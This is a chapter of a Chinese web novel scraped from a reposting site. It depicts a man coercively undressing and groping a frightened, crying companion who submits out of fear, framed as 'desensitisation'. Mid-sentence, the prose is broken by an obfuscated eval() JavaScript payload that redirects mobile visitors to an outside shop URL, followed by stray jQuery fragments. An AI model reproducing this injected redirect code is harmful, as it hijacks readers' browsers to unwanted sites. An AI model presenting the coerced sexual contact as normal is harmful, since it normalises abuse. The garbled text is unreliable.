文趣网 > 其他小说 > 阴暗批善良人格上线后 > 11. 夜半
    木魁捏着詹寻梦的本源阴气,想要找到詹寻梦轻而易举。

    林照双手抱臂看着他,视线落在木魁的身上,从头扫到脚,带着审视意味的眼神让木魁有点站不住脚。

    “我以前怎么不知道你还了解这些?”

    “啊?”木魁抬头,嘴唇干燥,看起来有点紧张,“都……都是后来随便看的。”

    林照没有说话,只是怀疑的的感觉越发浓烈,他越来越想不明白,木魁为什么会出现在水兰桥上了。

    像他这样的存在,想要出现在申水内城,除非已经找到了主人,或者是谁家从小就养起来的。

    而木魁则是一个人出现在那里,现在还这么……姑且算有用吧,林照总觉得有点微妙。

    木魁见林照不说话,便垂下了脑袋,默不作声。

    “还在想什么,找到地方了?”

    木魁抿唇,摇了摇头,说:“找不到。”

    林照:“耍我?”

    “他已经死了。”

    此话一出,纵使是林照也觉得离谱起来,詹家力保的詹寻梦,好不容易在自己手上逃脱了,现在居然死了?

    “你说真的?”

    木魁点头:“阴水毁了,他的道自然也毁了,更何况修习阴水道对修士的伤害本就不小,加上你在他身上留下的伤,所以就死了。”

    说罢,木魁还点点头,一副煞有介事的样子:“活该,叫他挑衅你。”

    林照冷笑一声:“那你说,要去哪里找程归澜?”

    木魁抬手一指,指尖正对着小桃红。

    “这是他的本命法器吗,如果是的话,我还有办法。”

    林照双眼微眯,三十多年的人生,头一次感到挫败。

    ……

    事实证明,木魁还真没有说大话,他真的带着林照来到了一个地方,车停在在山前,林照抬手掐算了一会。

    木魁安静地在一旁等着,离开了别墅的范围,他算是松了口气,心中的石头也放下来了一点,林照的脾气似乎比以前好多了,木魁现在不害怕。

    真的,一点也不害怕。

    木魁看着越来越烦躁的林照,在他的指尖第三次敲在车门上的时候,木魁想要下车了。

    林照虽说是玄门的天才,但是在推算一事上,总不得要领,他人稍一遮掩,他就算不动了。

    眼看着林照的手捏紧了方向盘,木魁一脸惊恐。

    林照像是看见了木魁想要下车的动作,猛然回头,冷眼看着他:“你又要干什么?”

    木魁咽了下口水,说:“我……我下车透透气……”

    “不准下车。”林照眉头紧皱,顺便给车上了个锁,“谁知道这山里有什么。”

    法道会的人还没查到这里,想必是找詹家交涉去了。

    林照加上木魁,也就两个人,这座山那么大,要是里面真有一些东西,木魁走出去被撕了都不知道是谁撕的。

    林照把车锁上之后,平淡地转回视线,丝毫不见他推算失败的破防。

    木魁默默往远离他的方向挪了一下,安安静静的当装饰品。

    林照瞥了他一眼,说:“你又在想什么?”

    木魁摇头:“什么也没想。”

    林照看着外面,他和木魁赶过来的时候,天已经黑了,现在正好是午夜,外面不见一丝光,只有车内的暖光能照亮一点区域。

    在这微黄灯光的照耀下,木魁显得更加无害了。

    半夜去未知的地方本就危险,更何况小桃红还在,证明程归澜暂时没有生命危险。

    林照决定天亮再去。

    他侧了侧身,目光紧盯在木魁的身上。

    “这衣服穿在你身上还真是浪费了。”

    木魁眼神微动,慢慢抬头,看向林照的表情欲言又止。

    “整天缩头缩脑,你是乌龟变得吗?”

    林照看着木魁的模样,感觉哪哪都是缺点,不但体态难看,表情也难看,简直白瞎了一张脸。

    他伸手抓起木魁的衣领,把他提起来了一点,说:“你能不能坐好?”

    木魁挺直了腰杆,讨好地看他,似乎在说,这样可以吗?

    林照静静地看了几秒,啧了一声,说:“还是难看。”

    木魁难堪地低下头,没有让自己的脸留在林照的视线内。

    林照见他这幅模样,心中更烦躁了。

    不多时,木魁放在大腿上的手便滴上了几滴眼泪——木魁的眼泪似乎总是很容易就落下来。

    林照眼尖,自然注意到了这一幕,他不由得回想起被那树怪汁液影响后的木魁,浑身发烫,眼泪怎么都止不住,发烫的身体还很软,抱在怀中的时候需要扶着腰托着后脑,不然人就摔了……

    林照侧过头,正眼看着木魁,看木魁被头发遮住的眉眼,看他落在手上的泪水,还有被深灰色衣服遮住的腰身。

    林照的眼神变得晦暗,那里他隔着衣服碰过,比他想象得要软得多,十三年前他完全不愿意触碰木魁,自然不知道木魁的身体是什么样,就连木魁阳.痿,他也是不小心翻出了报告单。

    当时他狠狠嘲笑了一番,惹得木魁好多天没有强行亲近他。

    这也是为什么林照总用这件事刺激木魁。

    林照舔了舔发干的嘴唇,不知道为什么,现在觉得格外渴。

    他扯了一下木魁的袖子,木魁的骨架小,他这样一扯,衣领便落了下来,白皙的肩膀露了半个在外面。

    木魁连忙拉好自己的衣服,转头就对林照说:“对不起对不起……”

    林照:“你很喜欢说对不起?”

    木魁甩着一脸的眼泪,还没来得及擦,闻言茫然抬头,嘴唇翕动:“没、没有……”

    “那你又在道哪门子歉?”林照不解。

    木魁怔然,他一直都记得林照不喜欢在自己面前露出身体部位,同样的,林照也不喜欢看见自己的身体部位。

    当年林照的每一句羞辱,他都记在了心里。

    只要自己好好道歉,林照就会好好吃饭,他们才能相安无事,所以这样的习惯留到了现在。

    不同的是,当初的木魁道完歉之后不会想要远离林照,现在的木魁则是生怕自己的靠近会触怒林照,让林照不开心。

    林照则并不明白他心里的小九九,虽说他也是当事人之一,但是当年的事情,很多细节他都忘干净了,根本就不理解木魁现在的唯唯诺诺究竟从何而来。

    他坚信是木魁近些年遭遇了什么,所以……所以他更应该帮助木魁脱敏啊。

    心中的冲动得到了完美的借口,林照不由得眯起了眼睛。

    他再次扯下木魁的衣领,看着白皙一片的肩膀,终于舒坦了,刚刚没看清楚就被遮住,还真是有点不爽。

    木魁不敢反抗,胸口急促起伏着,小而薄的胸脯,一下子就被林照按住了。

    “这里在呼吸。”

    林照解开了自己

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729815|208923||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的安全带,凑近了一点,好似在探究什么未解之谜一般。

    “还有这里,怎么会有痣呢?”

    他的眼神低低落在木魁的锁骨上,这一片,他并没有仔细看过,现在才发现,木魁连右边的锁骨窝里都有一颗小痣,大小和他鼻尖上的一样。

    林照伸出指尖,落在那小痣上,惹得人不由得轻颤。

    林照把木魁的安全带也解开了,见他一个劲地往后躲着自己,林照直接转身,打开车门下了车。

    木魁有些害怕地看着这一幕,还没等他反应过来林照想做什么,却发现林照绕过车头,很快打开了自己这边的车门。

    林照没等木魁说话,直接抓住了他的衣领,把人拽下了车。

    木魁着急了:“不要、不要丢掉我!”

    林照不顾他的挣扎,直接把人扔进了后座。

    林照向来不会亏待自己,车的后面空间很大,座椅放平之后几乎算得上一张床。

    木魁脸蛋煞白地看向林照,林照直接关上了车门,连小桃红都直接扔到了前面的驾驶位。

    林照按着木魁的小腿,指尖压在柔软有弹性的腿肉上,声音低沉:“别动。”

    木魁听话不动了。

    只要不是丢掉自己就好。

    林照这才终于继续了自己的“脱敏工作”。

    不过木魁现在是自己的所有物,林照想,他要做的事情有很多,除了脱敏,他还需要检查检查,防止木魁日后出现别的身体问题。

    宽大的牛仔裤被扔在一边,两只细瘦的膝盖撞进林照的两个手掌中,他轻轻分开,白皙一片的皮肉上落下车内的暖光灯。

    林照眼神幽深,瞳孔深处像深山静潭激起一片涟漪,那触动从眼前的刺激光景,直接传达到心中深处,甚至更下面的地方。

    他没有掀开深灰色的上衣,那底下的伤疤实在难看,等之后修好了就能看了。

    木魁眼中的担忧散去,取而代之的是忐忑和不解,他不知道林照这是怎么了,忽然对自己的身体感兴趣,难道是准备分.尸吗?

    想到这里,木魁害怕得抖了起来。

    没事的,就算林照想分.尸,那也是自己应得的,自己只要好好接受不反抗就好了。

    林照的掌心终于落在他之前想看但没有碰到过的地方,柔软细腻的皮肉比他摸过的任何布料还要滑腻,只不过木魁太瘦了,哪怕是最丰腴的大腿,也不见多少肉。

    林照收紧了手指,本就不多的肉竟还从他的指缝中挤了出来,看着这一幕,林照突然感觉脑中一热——或许木魁穿点别的衣服会更合适。

    林照咽了咽口水,突然升腾起来的燥热并没有让他停手,反而开始更加用力作.弄木魁。

    木魁仰面躺着,咬着唇静静地哭了出来。

    皮肉上的折腾压不过他心里的痛,一想到明天可能见不到林照,他就忍不住哭出来。

    没一会,木魁白皙的腿上就遍布指.痕,林照将人翻了个身,还把上衣掀到了背上,从脊背到挺.翘的弧度,他的视线像刷子一样刷了一遍。

    林照低头,鼻尖落在木魁的腰间,或许这里的香味会更浓郁。

    这样的姿势,掌心难免会落在别的地方,掌心下柔软丰.腴,他没忍住狠狠抓了一下。

    木魁闷哼了一声,柔.媚的声音让两人都愣住了。

    木魁是因为羞愤和恐惧,林照则是惊讶于自己的反应。

    他居然真的……